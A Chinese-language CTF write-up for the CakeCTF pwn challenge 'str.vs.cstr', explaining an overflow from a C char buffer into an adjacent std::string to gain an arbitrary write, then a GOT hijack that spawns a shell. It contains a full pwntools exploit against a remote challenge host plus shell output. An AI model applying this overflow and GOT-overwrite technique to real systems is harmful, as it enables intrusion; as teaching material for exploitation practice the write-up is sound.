str.vs.cstr

15206540508 2026-04-29 11:17:50 6 0 返回题目详情


# C string or C++ string?

## 题目信息

题目描述:

> Which do you like, C string or C++ string?

远程环境:

```bash
nc 49.232.142.230 13698
```

最终 flag:

```text
CakeCTF{HW1: Remove \"call_me\" and solve it / HW2: Set PIE+RELRO and solve it}
```

## 程序保护

对附件进行基础分析:

```bash
checksec chall
```

保护情况大致如下:

```text
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE
```

程序没有开启 PIE,并且是 Partial RELRO,因此 GOT 表可写,适合考虑 GOT 劫持。

## 程序功能

程序提供一个菜单:

```text
1. set c_str
2. get c_str
3. set str
4. get str
choice:
```

从函数符号可以看到程序中存在如下关键函数:

```text
Test::c_str()
Test::str[abi:cxx11]()
Test::call_me()
Test::~Test()
system@plt
```

其中 `Test::call_me()` 内部会调用:

```c
system("/bin/sh");
```

也就是说,只要能劫持程序控制流到 `Test::call_me()`,就可以直接 getshell。

## 漏洞分析

程序中存在一个 `Test` 类对象,内部同时维护了 C 风格字符串和 C++ `std::string`。

对象布局可以理解为:

```text
Test object
+0x00 char c_str[0x20]
+0x20 std::string str
```

菜单选项 1 会向 `c_str` 输入数据,但输入时没有限制长度,因此可以从 `c_str` 溢出到后面的 `std::string` 对象。

`std::string` 在 64 位环境下的关键结构可以简化理解为:

```text
+0x00 data pointer
+0x08 size
+0x10 capacity / local buffer
```

因此通过 `c_str` 溢出,可以伪造后面 `std::string` 的内部指针,让 `std::string.data` 指向任意地址。

之后菜单选项 3 会向 `std::string` 中写入内容:

```text
set str
```

由于前面已经伪造了 `std::string.data`,所以这一步就可以变成一次任意地址写。

## 利用思路

因为程序是 Partial RELRO,所以 GOT 表可写。

目标是劫持一个会被稳定调用的 GOT 表项到 `Test::call_me()`。

这里选择劫持:

```text
operator<<(std::ostream&, char const*)@GOT
```

原因是程序菜单输出时会频繁使用 `cout << "..."`,所以劫持这个 GOT 表项后,只要再次触发菜单输出,就会跳转到 `Test::call_me()`,进而执行:

```c
system("/bin/sh");
```

关键地址如下:

```text
operator<<(std::ostream&, char const*)@GOT = 0x404048
Test::call_me() = 0x4016de
```

利用链:

```text
1. 选择菜单 1,输入超长 c_str
2. 覆盖后方 std::string 对象
3. 伪造 std::string.data = operator<<(std::ostream&, char const*)@GOT
4. 选择菜单 3,向 std::string 写入 p64(Test::call_me)
5. GOT 表项被改写
6. 再次触发菜单输出
7. 程序跳转到 Test::call_me()
8. 执行 system("/bin/sh")
9. cat flag
```

## EXP

```python
from pwn import *
import time

context.log_level = "info"

HOST = "49.232.142.230"
PORT = 13698

OSTREAM_CSTR_GOT = 0x404048
CALL_ME = 0x4016de

io = remote(HOST, PORT, timeout=10)

payload = b"A" * 0x20
payload += p64(OSTREAM_CSTR_GOT)
payload += p64(0)
payload += p64(0x100)

io.recvuntil(b"choice:")

io.sendline(b"1")
io.recvuntil(b"c_str:")
io.sendline(payload)

time.sleep(0.2)
io.recv(timeout=1)

io.sendline(b"3")
io.recvuntil(b"str:")
io.sendline(p64(CALL_ME))

time.sleep(0.2)
io.recv(timeout=1)

io.sendline(b"2")

time.sleep(1)

io.sendline(b"id")
io.sendline(b"cat /home/pwn/flag-ba2a141e66fda88045dc28e72c0daf20.txt")

io.interactive()
```

## 运行结果

执行 EXP 后成功 getshell:

```text
uid=999(pwn) gid=999(pwn) groups=999(pwn)
```

读取 flag:

```bash
cat /home/pwn/flag-ba2a141e66fda88045dc28e72c0daf20.txt
```

得到:

```text
CakeCTF{HW1: Remove \"call_me\" and solve it / HW2: Set PIE+RELRO and solve it}
```

## 总结

本题核心是 C 风格字符串溢出覆盖相邻的 C++ `std::string` 对象。

关键点有三个:

```text
1. c_str[0x20] 后面紧邻 std::string 对象
2. 溢出后可以伪造 std::string 的 data 指针
3. set str 会向伪造的 data 指针写入数据,从而形成任意地址写
```

由于程序没有开启 PIE,并且是 Partial RELRO,所以可以直接改写 GOT。

最终通过覆盖:

```text
operator<<(std::ostream&, char const*)@GOT
```

为:

```text
Test::call_me()
```

触发菜单输出后跳转到 `call_me()`,执行 `system("/bin/sh")`,成功拿到 flag。

分类:PWN
image
作者:15206540508

1

提交

0

收入

相关WriteUP

  • Format.INI

    1.用file查看文件类型:64位ELFnostripped2.checksec查看文件开启保护:GOT可劫持非PIE3.IDA分析文件:prinf格式化漏洞4.分析代码,程序调用了system,printf之后调用了free。查看freegot表的内容为0x401036与systemplt的地址0x401060就差最后一个字节。那么想法修改freegot的内容为system的plt。而free的...

    • PWN
    • 2年前
  • 勇闯迷宫-过三关 (陕西省大学生)

    这题如题面所说分为三个部分,难度不高,第一部分考栈溢出,第二部分有点简单的逆向,第三部分考了一点fastbinattack,作为复习基础知识刚刚好拿到程序,首先做些基本检查:PartialRELRO,有Canary和NX,没有PIE。提供了libc(2.23)。got表里函数挺多,特别是看到了malloc和free,可能要用到堆。全局变量和main基本都保留了符号表,其他函数大多没有。第一部分直接...

    • PWN
    • 2年前
  • [NUAACTF-2017]hello_pwn

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • PWN
    • 2年前
  • No Way Out的writeup

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • PWN
    • 2年前
  • Message Board的writeup

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • PWN
    • 2年前
问题反馈